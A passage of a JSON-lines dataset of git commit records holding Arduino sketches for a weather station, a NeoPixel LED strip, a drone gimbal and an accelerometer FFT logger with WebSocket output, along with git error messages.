hour\nlong loops = 12;\n\n\n\n\/\/ This helper function allows for smoothing of displayed values\n\/\/ and the updating of historic record\nfloat updateT(float hist, float value){\n float newVal = 0.0;\n if(value < hist + maxVariation && value > hist - maxVariation){\n newVal = (smooth*hist + value)\/(smooth+1.0);\n } else {\n newVal = hist;\n }\n return newVal;\n}\n\nfloat updateP(float hist, float value){\n float newVal = updateT(hist, value);\n float sum=0.0;\n rdgIndex++;\n if(rdgIndex == readingsPerMin){ \/\/ We have filled the readings buffer\n \/\/ Roll the pointer round\n rdgIndex = 0;\n minIndex++;\n if(minIndex == 60){ \/\/ We have filled the minutes buffer\n \/\/ Roll the pointer round\n minIndex = 0;\n hrIndex++; \n if(hrIndex == 24){ \/\/ We have filled the hours buffer\n hrIndex = 0;\n }\n sum = 0.0;\n for (int i=0; i<60; i++){\n sum += mins[i];\n }\n hours[hrIndex] = sum\/60.0;\n }\n sum = 0.0;\n for(int i=0; i< readingsPerMin; i++){\n sum += readings[i];\n }\n mins[minIndex] = sum\/readingsPerMin;\n } \n readings[rdgIndex] = newVal;\n return newVal;\n}\n\nfloat hrChange(int age){\n int histIndex = (hrIndex + (24 - age)) % 24;\n if(hours[hrIndex] < 0.0 || hours[histIndex] < 0.0){\n return -9999.0;\n } else {\n return hours[hrIndex] - hours[histIndex];\n }\n}\n\nfloat minChange(int age){\n int histIndex = (minIndex + (60 - age)) % 60;\n if(mins[minIndex] < 0.0 || mins[histIndex] < 0.0){\n return -9999.0;\n } else {\n return mins[minIndex] - mins[histIndex];\n }\n}\n\nbyte symbol (float diff, float tolerance){\n if (diff < -9000){ \/\/ Comparison with uninitialised value\n return byte(4);\n } else if(diff > tolerance){\n return byte(1);\n } else if (diff < -tolerance) {\n return byte(2);\n } else {\n return byte(3);\n }\n}\n\n\/\/ a helper function for placing temperature readings on the LCD\nint startTemp(float temp){\n int start = 0;\n \/\/ Adjust start position for Right Justify\n if(temp > 0){\n start++;\n }\n if(abs(temp) < 9.95){\n start++;\n }\n return start;\n}\n\nvoid printSerial(String label, float inT1, float inT2, float outT, float p){\n Serial.print(label);\n Serial.print(inT1);\n Serial.print(\", \");\n Serial.print(inT2);\n Serial.print(\", \");\n Serial.print(outT);\n Serial.print(\", \");\n Serial.println(p);\n}\n\nvoid printLCD(float inT1, float inT2, float outT, float p){\n lcd.clear();\n lcd.setCursor(startTemp(inT1),0);\n lcd.print(inT1,1);\n lcd.write(byte(0)); \/\/ degree symbol\n lcd.print(\"C\");\n lcd.setCursor(9 + startTemp(inT2),0);\n lcd.print(outT,1);\n lcd.write(byte(0)); \/\/ degree symbol\n lcd.print(\"C\");\n if(p > 999.95){ \/\/ Account for rounding...\n lcd.setCursor(0,1);\n } else {\n lcd.setCursor(1,1);\n }\n lcd.print(p,1);\n lcd.print(\" mb\");\n #if DEBUG > 1\n lcd.setCursor(10,1);\n lcd.print(loopCount);\n lcd.setCursor(15,1);\n lcd.write(symbol(minChange(30), 0.2));\n #else\n lcd.setCursor(13,1);\n lcd.write(symbol(hrChange(23), 1.0));\n lcd.write(symbol(hrChange(6), 0.5));\n lcd.write(symbol(minChange(30), 0.2));\n #endif\n}\n \n \nvoid setup(void)\n{\n #if defined(TO_SERIAL)\n \/\/ start serial port\n Serial.begin(9600);\n #endif\n\n \/\/ Start up the Dallas library\n dallasTemp.begin(); \/\/ IC Default 9 bit. If you have troubles consider upping it 12. Ups the delay giving the IC more time to process the temperature measurement\n\n \/\/ Start the MPL library\n mplTempPressure.begin();\n \/\/Configure it to measure atmospheric pressure\n mplTempPressure.setModeBarometer();\n mplTempPressure.setOversampleRate(7); \/\/ Set oversample to recommended 128\n mplTempPressure.enableEventFlags();\n \n \/\/LCD\n pinMode(BACKLIGHT, OUTPUT);\n analogWrite(BACKLIGHT, 128);\n pinMode(light, INPUT);\n lcd.begin(16, 2);\n lcd.print(\"Weather Station\");\n lcd.setCursor(0,1);\n lcd.print(\"Version \");\n lcd.print(VERSION);\n lcd.createChar(0,degree);\n lcd.createChar(1,rising);\n lcd.createChar(2,falling);\n lcd.createChar(3,stable);\n lcd.createChar(4,empty);\n delay(1000);\n \n \/\/ Zero out the history arrays\n for(int i=0; i<readingsPerMin; i++)\n readings[i] = -3000.0;\n for(int i=0; i<60; i++)\n mins[i] = -3000.0;\n for(int i=0; i<24; i++)\n hours[i] = -3000.0;\n}\n\n\nvoid loop(void)\n{ \n long start = millis();\n\n \/\/ Set the backlight depending on the ambient light\n int bright = analogRead(light);\n analogWrite(BACKLIGHT, map(bright,0,1000,5,255));\n \n \/\/ Possibly write out debug information\n #if DEBUG > 3\n #if defined(TO_SERIAL)\n Serial.println(start);\n Serial.print(\"Bright: \");\n Serial.println(bright);\n delay(10);\n #endif\n #endif\n \n if (millis() > measureTime){\n \/\/Ask the dallas sensors to perform a reading\n dallasTemp.requestTemperatures(); \/\/ Send the command to get temperatures\n inTemp = dallasTemp.getTempCByIndex(0);\n outTemp = dallasTemp.getTempCByIndex(1);\n \n \/\/ Ask the MPL to perform a reading\n inTemp2 = mplTempPressure.readTemp();\n pressure = mplTempPressure.readPressure()\/100; \/\/ Divide by 100 to get mBar\n \n \/\/ Do some error checking - regularly see 0.0 coming back from the pressure sensor...\n if(firstRun){\n int check = 0;\n if(pressure > 500.0){\n pressureHist = pressure;\n longPressureHist = pressure;\n check++;\n }\n if(inTemp > -20.0){\n inTempHist = inTemp;\n check++;\n }\n if(inTemp2 > -20.0){\n inTemp2Hist = inTemp2;\n check++;\n }\n if(outTemp > -50.0){\n outTempHist = outTemp;\n check++;\n }\n if(check == 4){\n firstRun=false;\n }\n } else {\n pressureHist = updateP(pressureHist, pressure);\n inTempHist = updateT(inTempHist, inTemp);\n inTemp2Hist = updateT(inTemp2Hist, inTemp2);\n outTempHist = updateT(outTempHist, outTemp);\n }\n \n printLCD(inTempHist, inTemp2Hist, outTempHist, pressureHist);\n \n #if defined(TO_SERIAL)\n printSerial(\"raw \", inTemp, inTemp2, outTemp, pressure);\n printSerial(\"hist \", inTempHist, inTemp2Hist, outTempHist, pressureHist);\n #endif\n \n loopCount++;\n\n \/\/ Debug information to Serial\n #if DEBUG > 3\n #if defined(TO_SERIAL)\n long processTime = millis() - start;\n Serial.print(\"Milliseconds for the loop: \");\n Serial.println(processTime);\n processTime++; \/\/we have taken about 1ms here so compensate :-)\n #endif\n #endif\n \n while (measureTime < millis()){\n measureTime += measureInterval;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'weather\/weather.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9dad93b63c9e6a29fb460dbe42cb9184edeae723","subject":"Arduino Code","message":"Arduino Code\n","repos":"DeanSellas\/Spectrum,DeanSellas\/Spectrum","old_file":"Arduino\/Specturm.ino","new_file":"Arduino\/Specturm.ino","new_contents":"long previousMillis = 0;\nbool rainbowAnimation = false;\nbool sentCommand = false;\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define PIN 6\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(10, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\n\/\/ VARIABLES\n\n\/\/ INT\nint stripLength = strip.numPixels();\nint currentPixel = 0;\nint state;\nbool test = true;\nint blue = 0;\nint green = 0;\nint red = 255;\n\nint i = 0, j = 0;\n\nvoid setup() {\n Serial.begin(9600);\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.print(\"Ready\");\n \n}\n\nvoid loop() {\n\n \/\/colorWipe(100, strip.Color(red, green, blue));\n \/\/solidColor(strip.Color(0,255,0));\n String data = Serial.readString();\n \n if(data.substring(0,7) == \"Rainbow\" || rainbowAnimation){\n \/\/ Reset Color\n if(data.substring(0,7) == \"Rainbow\") i = 0, j = 0;\n \n int wait = data.substring(7).toInt();\n \n rainbowAnimation = true;\n sentCommand = true;\n rainbow(wait);\n }\n if(data.substring(0,10) == \"SolidColor\"){\n rainbowAnimation = false;\n\n \n String redString = data.substring(10,13);\n String greenString = data.substring(13,16);\n String blueString = data.substring(16,19);\n solidColor(strip.Color(redString.toInt(),greenString.toInt(),blueString.toInt()));\n }\n if(data == \"Off\"){\n rainbowAnimation= false;\n\n \n strip.clear();\n strip.show();\n }\n}\n\n\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(int wait, float color) {\n\n if(currentPixel <= stripLength){\n strip.setPixelColor(currentPixel, color);\n strip.show();\n currentPixel ++;\n \n if (blue < 255 && green == 0) {\n blue += 5;\n red -= 5;\n \n Serial.print(\"Red : \");\n Serial.println(red, DEC);\n Serial.print(\"Blue : \");\n Serial.println(blue, DEC);\n \n if(blue >= 225){\n blue = 255;\n red = 0;\n }\n }\n else if(red == 0 && blue > 0){\n blue -= 5;\n green += 5;\n \n Serial.print(\"Green : \");\n Serial.println(green, DEC);\n Serial.print(\"Blue : \");\n Serial.println(blue, DEC);\n }\n \n else {\n blue = 0;\n green = 0;\n red = 255;\n Serial.println(\"restarted\");\n }\n delay(wait);\n }\n \n else { \n currentPixel = 0;\n strip.clear();\n }\n}\n\n\/\/ SOLID COLOR\nvoid solidColor(float color){\n currentPixel = 0;\n while(currentPixel <= stripLength){\n strip.setPixelColor(currentPixel, color);\n strip.show();\n currentPixel ++;\n }\n}\n\n\nvoid rainbow(long wait){\n\n \/\/ Delay\n unsigned long currentMillis = millis();\n if(currentMillis - previousMillis > wait || sentCommand) {\n previousMillis = currentMillis;\n \n if(j < 256){\n\n for(i=0; i<stripLength; i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n\n strip.show();\n j++;\n } else j = 0;\n }\n if(sentCommand) sentCommand = false;\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nlong Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Specturm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9eb4a2de8ff4c613c758d5f6587c37bd9d244c2f","subject":"Create gimbal.ino","message":"Create gimbal.ino\n\nContains the Arduino code necessary to alter the gimbal based on info sent to it over tx and rx via linux.","repos":"MST-MRR\/DroneKit,MST-MRR\/DroneKit,MST-MRR\/DroneKit,MST-MRR\/DroneKit","old_file":"Collision\/gimbal.ino","new_file":"Collision\/gimbal.ino","new_contents":"\/*\n * @author: jstuder\n * \n *\/\n#include <Servo.h>\n\n\/\/the servo to counter the pitch of the drone\nServo pitch, roll;\nconst int PARALLEL = 50; \/\/45 allows for 30 degrees of + and - with ease\nconst int PERPENDICULAR = PARALLEL + 90; \n\n\/\/A constant to control the speed of angle change, lower is faster\nconst int SPEED = 10;\n\n\/*\n * @parameters\n * byte angle -> the angle you want to go to\n * int speed -> the delay between a move of 1 degree (lower is faster)\n *\/\nvoid goToAngle(byte pitchAngle, byte rollAngle, int speed);\n\n\/*\n * @parameters\n * bool isPLL -> true if gimbal needs to be parallel to the ground, false if it\n * needs to be perpendicular\n * int xAdj -> pass a positive or negative value to adjust the left-right axis of the gimbal\n * (modifies servo2)\n * int yAdj -> pass a positive or negative value to adjust the forward-backward axis of the gimbal\n * (modifies pitch)\n *\/\nvoid mntn(bool isPLL, byte rAdj, byte pAdj);\n\nvoid setup() {\n\n \/\/assigns analog pin 0 to output\n pinMode(A0,OUTPUT);\n pinMode(A2, OUTPUT);\n pitch.attach(A0); \/\/attaches pitch to analog 0\n roll.attach(A2);\n\n delay(1000); \/\/gives a little leeway before start up. Not essential\n goToAngle(50, 40, SPEED); \/\/sets the gimbal to parallel as default\n\n \/\/enables serial\n Serial1.begin(115200); \n Serial.begin(115200);\n Serial.println(\"Ready\");\n Serial1.println(\"hello??\");\n}\n\nvoid loop() \n{\n \/\/used to track parallel or perpendicular\n static boolean isParallel = true;\n if (Serial1.available())\n {\n \/\/reads as a string to allow for 'change' to be a condition\n String in;\n int i = 0;\n in = Serial1.readString();\n Serial.println(in);\n char inC[in.length()];\n in.toCharArray(inC, in.length());\n \n \/\/allows yChange to default to the previous value. If input is invalid the gimbal doesn't move.\n byte pChange = pitch.read();\n byte rChange = roll.read();\n \/\/if 'change' is sent, allows the gimbal to switch orientation\n if (inC[0] == 's')\n {\n isParallel = !isParallel;\n Serial.println(\"CHANGE\"); \/\/debugging purposes\n pChange = 0; \/\/allows the change to be precise. on change, you should be hovering\n rChange = 0;\n }\n else\n {\n String rString = \"\";\n String pString = \"\";\n int count = 0;\n do\n {\n rString += inC[count];\n count++;\n } while (inC[count] != ' ');\n \n do\n {\n pString += inC[count];\n count++;\n } while (inC[count] != ' ');\n \n rChange = rString.toInt();\n pChange = pString.toInt();\n\n }\n Serial.print(rChange); \/\/debugging purposes\n Serial.print(\" \");\n Serial.println(pChange);\n \/\/calls the \"maintain\" function\n mntn(isParallel, rChange, pChange);\n }\n}\n\nvoid mntn(bool isPLL, byte rAdj, byte pAdj)\n{\n \/\/sets the new angle equal to the change from the old angle\n \/\/runs if the gimbal needs to be parallel to the ground\n rAdj += 40;\n if (isPLL)\n {\n Serial.println(\"PLL\"); \/\/debugging purposes\n pAdj += PARALLEL;\n goToAngle(pAdj, rAdj, SPEED);\n }\n else if (!isPLL)\n {\n Serial.println(\"PERP\"); \/\/debugging purposes\n pAdj += PERPENDICULAR;\n goToAngle(pAdj, rAdj, SPEED);\n }\n}\n\n\nvoid goToAngle(byte pitchAngle, byte rollAngle, int speed)\n{\n byte currentPAngle = pitch.read();\n byte currentRAngle = roll.read();\n if(pitchAngle > currentPAngle)\n {\n for (int i = currentPAngle; i < pitchAngle; i++)\n {\n pitch.write(i);\n delay(speed);\n }\n }\n else\n {\n for (int i = currentPAngle; i > pitchAngle; i--)\n {\n pitch.write(i);\n delay(speed);\n }\n }\n\n if(rollAngle > currentRAngle)\n {\n for (int i = currentRAngle; i < rollAngle; i++)\n {\n roll.write(i);\n delay(speed);\n }\n }\n else\n {\n for (int i = currentRAngle; i > rollAngle; i--)\n {\n roll.write(i);\n delay(speed);\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Collision\/gimbal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9558950585395dd33c615ddb2b3ccc34abaa0103","subject":"left, right, tilt, down","message":"left, right, tilt, down\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"817e83344a07771f21b92fb0f724118abdcb96e7","subject":"Moved","message":"Moved\n","repos":"OpenFairWind\/nauteelvs,OpenFairWind\/nauteelvs,OpenFairWind\/nauteelvs","old_file":"Nauteelvs.ino","new_file":"Nauteelvs.ino","new_contents":"#include <RTClib.h>\n#include \"arduinoFFT.h\"\n#include <Wire.h>\n#include <Timer32.h>\n#include <string.h>\n#include <SD.h>\n#include <SPI.h>\n#include \"Fishino.h\"\n#include <WebSocket.h>\n#include <Arduino.h>\n\n\n\/\/variabili websocket\n#ifndef MYNET_H\n\/\/ SSID della rete WiFi\n#define MY_SSID \"Fishino32\"\n\n\/\/ PASSWORD of network.\n#define MY_PASS \"\"\n\n\/\/ 'IP desiderato per il fishino\n#define IPADDR 192, 168, 1, 251\n#endif\n\n#ifndef _FISHINO32_\nconst int SD_CS = 4;\n#else\nconst int SD_CS = SDCS;\n#endif\n\n#ifdef IPADDR\nIPAddress ip(IPADDR);\n#endif\n\n\/\/ Enabe debug tracing to Serial port.\n#define DEBUG\n\n\narduinoFFT FFT = arduinoFFT();\nconst int samples = 64; \/\/campioni\nconst double sampling = 200; \/\/frequenza di campionamento\nuint8_t exponent;\ndouble vRealx[samples];\ndouble vImagx[samples];\ndouble vRealy[samples];\ndouble vImagy[samples];\ndouble vRealz[samples];\ndouble vImagz[samples];\ndouble vReala[samples];\ndouble vImaga[samples];\nint i = 0;\nint j = 0;\ndouble jr[samples];\ndouble ji[samples];\ndouble freq[200\/2];\n\nlong int ti;\nvolatile bool intFlag=false;\n\n\n#define SIZE 8 \/\/numero di FFT calcolate prima di scrivere su SD\nconst int chipSelect_SD_default = SDCS;\nconst int chipSelect_SD = chipSelect_SD_default;\nString data= \"\";\n#if defined(ARDUINO_ARCH_SAMD)\n #define Serial SerialUSB\n#endif\nRTC_Millis rtc;\nchar nome_file[17];\nchar **data_base;\n\n\nWebSocketServer wsServer;\nuint8_t mac[WL_MAC_ADDR_LENGTH]={0x11,0x22,0x33,0x44,0x55,0x66};\n\n\n#define SCL_INDEX 0x00\n#define SCL_TIME 0x01\n#define SCL_FREQUENCY 0x02\n\n\n#define MPU9250_ADDRESS 0x68\n\n#define ACC_FULL_SCALE_2_G 0x00 \n#define ACC_FULL_SCALE_4_G 0x08\n#define ACC_FULL_SCALE_8_G 0x10\n#define ACC_FULL_SCALE_16_G 0x18\n\n#define a 0\n#define x 1\n#define y 2\n#define z 3\n\n\n\/\/ This function read Nbytes bytes from I2C device at address Address. \n\/\/ Put read bytes starting at register Register in the Data array. \nvoid I2Cread(uint8_t Address, uint8_t Register, uint8_t Nbytes, uint8_t* Data)\n{\n \/\/ Set register address\n Wire.beginTransmission(Address);\n Wire.write(Register);\n Wire.endTransmission();\n \n \/\/ Read Nbytes\n Wire.requestFrom(Address, Nbytes); \n uint8_t index=0;\n while (Wire.available())\n Data[index++]=Wire.read();\n}\n\n\/\/ Write a byte (Data) in device (Address) at register (Register)\nvoid I2CwriteByte(uint8_t Address, uint8_t Register, uint8_t Data)\n{\n \/\/ Set register address\n Wire.beginTransmission(Address);\n Wire.write(Register);\n Wire.write(Data);\n Wire.endTransmission();\n}\n\nvoid callback()\n{ \n intFlag=true;\n}\n\n\nvoid onConnect(WebSocket &socket) \n{\n Serial.println(\"onConnect called\");\n}\n\n\/\/ It will be called by the server when a data frame is received.\nvoid onData(WebSocket &socket, char* dataString, byte frameLength) \n{\n #ifdef DEBUG\n Serial.print(\"Got data: \");\n Serial.write((unsigned char*)dataString, frameLength);\n Serial.println();\n #endif\n \n \/\/ Just echo back data for fun.\n socket.send(dataString, strlen(dataString));\n}\n\nvoid onDisconnect(WebSocket &socket) {\n Serial.println(\"onDisconnect called\");\n}\n\n\nvoid getFileName(char *name)\n{\n DateTime now = rtc.now();\n sprintf(name, \"%d\", now.year());\n int temp= now.month();\n if(temp > 9)\n {\n sprintf(name+4, \"%d\", temp);\n }\n else\n {\n name[4]= '0';\n sprintf(name+5, \"%d\", temp);\n }\n temp= now.day();\n if(temp > 9)\n {\n sprintf(name+6, \"%d\", temp);\n }\n else\n {\n name[6]= '0';\n sprintf(name+7, \"%d\", temp);\n } \n temp= now.hour();\n if(temp > 9)\n {\n sprintf(name+8, \"%d\", temp);\n }\n else\n {\n name[8]= '0';\n sprintf(name+9, \"%d\", temp);\n }\n temp= now.minute();\n if(temp > 9)\n {\n sprintf(name+10, \"%d\", temp);\n }\n else\n {\n name[10]= '0';\n sprintf(name+11, \"%d\", temp);\n }\n temp= now.second();\n if(temp > 9)\n {\n sprintf(name+12, \"%d\", temp);\n }\n else\n {\n name[12]= '0';\n sprintf(name+13, \"%d\", temp);\n }\n name[14]= '.';\n name[15]= 't';\n name[16]= 'x';\n name[17]= 't';\n Serial.println(name);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid setup()\n{\n Wire.begin();\n #ifdef DEBUG \n Serial.begin(115200);\n #endif\n \/\/while(!Serial);\n\n rtc.begin(DateTime(F(__DATE__), F(__TIME__))); \n\n Fishino.setApMAC(mac);\n\n \/\/ initialize SPI:\n SPI.begin();\n SPI.setClockDivider(SPI_CLOCK_DIV2);\n\n \/\/ reset and test wifi module\n Serial << F(\"Resetting Fishino...\");\n while(!Fishino.reset())\n {\n Serial << \".\";\n delay(500);\n }\n Serial << F(\"OK\\r\\n\");\n \n \/\/ set PHY mode 11G\n Fishino.setPhyMode(PHY_MODE_11G);\n\n \/\/ setup SOFT AP mode\n \/\/ imposta la modalit\u00e8 SOFTAP\n Serial << F(\"Setting mode SOFTAP_MODE\\r\\n\");\n Fishino.setMode(SOFTAP_MODE);\n\n \/\/ stop AP DHCP server\n Serial << F(\"Stopping DHCP server\\r\\n\");\n Fishino.softApStopDHCPServer();\n \n \/\/ setup access point parameters\n Serial << F(\"Setting AP IP info\\r\\n\");\n Fishino.setApIPInfo(ip, ip, IPAddress(255, 255, 255, 0));\n\n Serial << F(\"Setting AP WiFi parameters\\r\\n\");\n Fishino.softApConfig(F(MY_SSID), F(MY_PASS), 1, false);\n \n \/\/ restart DHCP server\n Serial << F(\"Starting DHCP server\\r\\n\");\n Fishino.softApStartDHCPServer();\n \n \/\/ print current IP address\n Serial << F(\"IP Address :\") << ip << \"\\r\\n\";\n\n wsServer.registerConnectCallback(&onConnect);\n wsServer.registerDataCallback(&onData);\n wsServer.registerDisconnectCallback(&onDisconnect); \n wsServer.begin();\n\n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(chipSelect_SD)) {\n Serial.println(\"Card failed, or not present\");\n return;\n }\n Serial.println(\"card initialized.\");\n \n exponent = FFT.Exponent(samples);\n \n \/\/ Set accelerometers low pass filter at 60Hz\n I2CwriteByte(MPU9250_ADDRESS,29,0x32);\n\n \/\/ Configure accelerometers range\n I2CwriteByte(MPU9250_ADDRESS,28,ACC_FULL_SCALE_4_G);\n\n Timer23.setPeriodMs(5); \/\/Periodo di campionamento => frequenza di campionamento= 200Hz\n Timer23.attachInterrupt(callback); \/\/ attaches callback() as a timer overflow interrupt\n Timer23.start();\n \n \/\/ Store initial time\n ti=millis();\n\n data_base= (char**)malloc(10*sizeof(char*));\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() \n{\n \/\/server in ascolto\n wsServer.listen();\n \n \/\/attesa dati accelerometro\n while (!intFlag);\n \n intFlag=false;\n\n \/\/ Read accelerometer\n uint8_t Buf[14];\n I2Cread(MPU9250_ADDRESS,0x3B,14,Buf);\n \n \n \/\/ Accelerometer\n vRealx[i] = -(Buf[0]<<8 | Buf[1]);\n vImagx[i] = 0;\n vRealy[i] = -(Buf[2]<<8 | Buf[3]);\n vImagy[i] = 0;\n vRealz[i] = Buf[4]<<8 | Buf[5];\n vImagz[i] = 0;\n\n\n if(i == samples-1)\n {\n for(int j=0; j<samples; j++)\n {\n vReala[j] = sqrt(sq(vRealx[j]) + sq(vRealy[j]) + sq(vRealz[j]));\n vImaga[j] = 0;\n }\n\n \/\/data x\n PrintVectorjs(vRealx, vImagx, samples, SCL_TIME, x, ti);\n FFT.Windowing(vRealx, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD);\n FFT.Compute(vRealx, vImagx, samples, exponent, FFT_FORWARD);\n FFT.ComplexToMagnitude(vRealx, vImagx, samples);\n PrintVectorjs(vRealx, vImagx, (samples\/2), SCL_FREQUENCY, x, ti); \n \/\/double x = FFT.MajorPeak(vRealx, samples, sampling);\n \n \/\/data y\n PrintVectorjs(vRealy, vImagy, samples, SCL_TIME, y, ti);\n FFT.Windowing(vRealy, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD);\n FFT.Compute(vRealy, vImagy, samples, exponent, FFT_FORWARD);\n FFT.ComplexToMagnitude(vRealy, vImagy, samples); \n PrintVectorjs(vRealy, vImagy, (samples\/2), SCL_FREQUENCY, y, ti); \n \/\/double y = FFT.MajorPeak(vRealy, samples, sampling);\n\n \/\/data z\n PrintVectorjs(vRealz, vImagz, samples, SCL_TIME, z, ti);\n FFT.Windowing(vRealz, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD);\n FFT.Compute(vRealz, vImagz, samples, exponent, FFT_FORWARD); \n FFT.ComplexToMagnitude(vRealz, vImagz, samples);\n PrintVectorjs(vRealz, vImagz, (samples\/2), SCL_FREQUENCY, z, ti); \n \/\/double z = FFT.MajorPeak(vRealz, samples, sampling);\n\n \/\/data all\n PrintVectorjs(vReala, vImaga, samples, SCL_TIME, a, ti);\n FFT.Windowing(vReala, samples, FFT_WIN_TYP_HAMMING, FFT_FORWARD);\n FFT.Compute(vReala, vImaga, samples, exponent, FFT_FORWARD); \n FFT.ComplexToMagnitude(vReala, vImaga, samples);\n PrintVectorjs(vReala, vImaga, (samples\/2), SCL_FREQUENCY, a, ti); \n \/\/double a = FFT.MajorPeak(vReala, samples, sampling);\n\n Serial.println(data);\n char data_server[data.length()+1];\n data.toCharArray(data_server, data.length()+1); \n data=\"\";\n \n \/\/verifico se ci sono client connessi\n if (wsServer.connectionCount() > 0) \n {\n wsServer.send(data_server, sizeof(data_server));\n Serial.println(\"dati inviati\");\n }\n\n data_base[j]= (char*)malloc(sizeof(data_server));\n memmove (data_base[j], data_server, sizeof(data_server));\n\n if( j == SIZE-1 )\n {\n getFileName(nome_file);\n \/\/ open the file on SD\n File dataFile = SD.open(nome_file+6, FILE_WRITE);\n\n \/\/ if the file is available, write to it:\n if (dataFile) \n {\n for(int i=0; i<SIZE; i++)\n {\n dataFile.println(data_base[i]);\n free(data_base[i]);\n }\n \n dataFile.close();\n \/\/ print to the serial port too:\n Serial.println(\"scrittura ok\");\n }\n \/\/ if the file isn't open, pop up an error:\n else \n {\n Serial.println(\"error opening file\");\n } \n j = 0;\n free(data_base);\n data_base= (char**)malloc(10 * sizeof(char*));\n }\n else j++;\n i = 0;\n }\n else i++;\n}\n\nvoid PrintVectorjs(double *vDataR, double *vDataI, uint8_t bufferSize, uint8_t scaleType, int asseType, long int tempo) \n{ \n double abscissa;\n char buffer[30];\n \n switch (asseType)\n {\n case x:\n if(scaleType == SCL_TIME){\n data+= \"{\\\"millis\\\":\";\n data+= itoa(millis()-tempo, buffer, 10);\n memset(buffer, 0, 30);\n data+= \",\\\"x\\\":[\"; \n } \n else data+= \",\"; \n break;\n case y:\n if(scaleType == SCL_TIME){ \n data+= \"],\\\"y\\\":[\";\n } \n else data+= \",\";\n break;\n case z:\n if(scaleType == SCL_TIME){ \n data+= \"],\\\"z\\\":[\";\n } \n else data+= \",\";\n break;\n case a:\n if(scaleType == SCL_TIME){ \n data+= \"],\\\"all\\\":[\";\n } \n else data+= \",\"; \n break;\n }\n\n switch (scaleType) \n {\n case SCL_INDEX:\n data+= \"{\\\"components\\\":[{\\\"real\\\": [\";\n for (int i = 0; i < bufferSize-1; i++)\n {\n sprintf(buffer, \"%f\", vDataR[i]);\n data+= buffer;\n memset(buffer, 0, 30);\n 